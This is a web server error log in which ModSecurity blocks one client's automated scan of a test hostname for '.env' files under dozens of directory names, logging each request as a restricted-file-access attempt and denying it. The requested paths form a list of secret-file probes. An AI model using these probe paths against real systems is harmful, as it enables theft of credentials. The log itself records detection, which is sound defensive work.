[Thu Feb 26 01:03:05.897097 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYgAAAAI&quot;]
[Thu Feb 26 01:03:05.897263 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYgAAAAI&quot;]
[Thu Feb 26 01:03:05.898551 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /github-connect/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxgAAAAQ&quot;]
[Thu Feb 26 01:03:05.898786 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxgAAAAQ&quot;]
[Thu Feb 26 01:03:05.898937 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxgAAAAQ&quot;]
[Thu Feb 26 01:03:05.933431 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /google/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxwAAAAQ&quot;]
[Thu Feb 26 01:03:05.933673 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxwAAAAQ&quot;]
[Thu Feb 26 01:03:05.933831 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHxwAAAAQ&quot;]
[Thu Feb 26 01:03:05.950153 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hgs-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYwAAAAI&quot;]
[Thu Feb 26 01:03:05.950517 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYwAAAAI&quot;]
[Thu Feb 26 01:03:05.950713 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYwAAAAI&quot;]
[Thu Feb 26 01:03:06.031411 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /higlass-website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZAAAAAI&quot;]
[Thu Feb 26 01:03:06.031649 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZAAAAAI&quot;]
[Thu Feb 26 01:03:06.031830 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZAAAAAI&quot;]
[Thu Feb 26 01:03:06.039689 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHygAAAAQ&quot;]
[Thu Feb 26 01:03:06.039916 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHygAAAAQ&quot;]
[Thu Feb 26 01:03:06.040072 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHygAAAAQ&quot;]
[Thu Feb 26 01:03:06.060148 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZQAAAAI&quot;]
[Thu Feb 26 01:03:06.060378 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZQAAAAI&quot;]
[Thu Feb 26 01:03:06.060535 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZQAAAAI&quot;]
[Thu Feb 26 01:03:06.065546 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHywAAAAQ&quot;]
[Thu Feb 26 01:03:06.065765 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHywAAAAQ&quot;]
[Thu Feb 26 01:03:06.065916 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHywAAAAQ&quot;]
[Thu Feb 26 01:03:06.096783 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /horde/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZgAAAAI&quot;]
[Thu Feb 26 01:03:06.097065 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZgAAAAI&quot;]
[Thu Feb 26 01:03:06.097241 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZgAAAAI&quot;]
[Thu Feb 26 01:03:06.127692 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hash/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzAAAAAQ&quot;]
[Thu Feb 26 01:03:06.127938 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzAAAAAQ&quot;]
[Thu Feb 26 01:03:06.128114 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzAAAAAQ&quot;]
[Thu Feb 26 01:03:06.151899 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZwAAAAI&quot;]
[Thu Feb 26 01:03:06.152183 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZwAAAAI&quot;]
[Thu Feb 26 01:03:06.152351 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlZwAAAAI&quot;]
[Thu Feb 26 01:03:06.166587 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hasura/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzQAAAAQ&quot;]
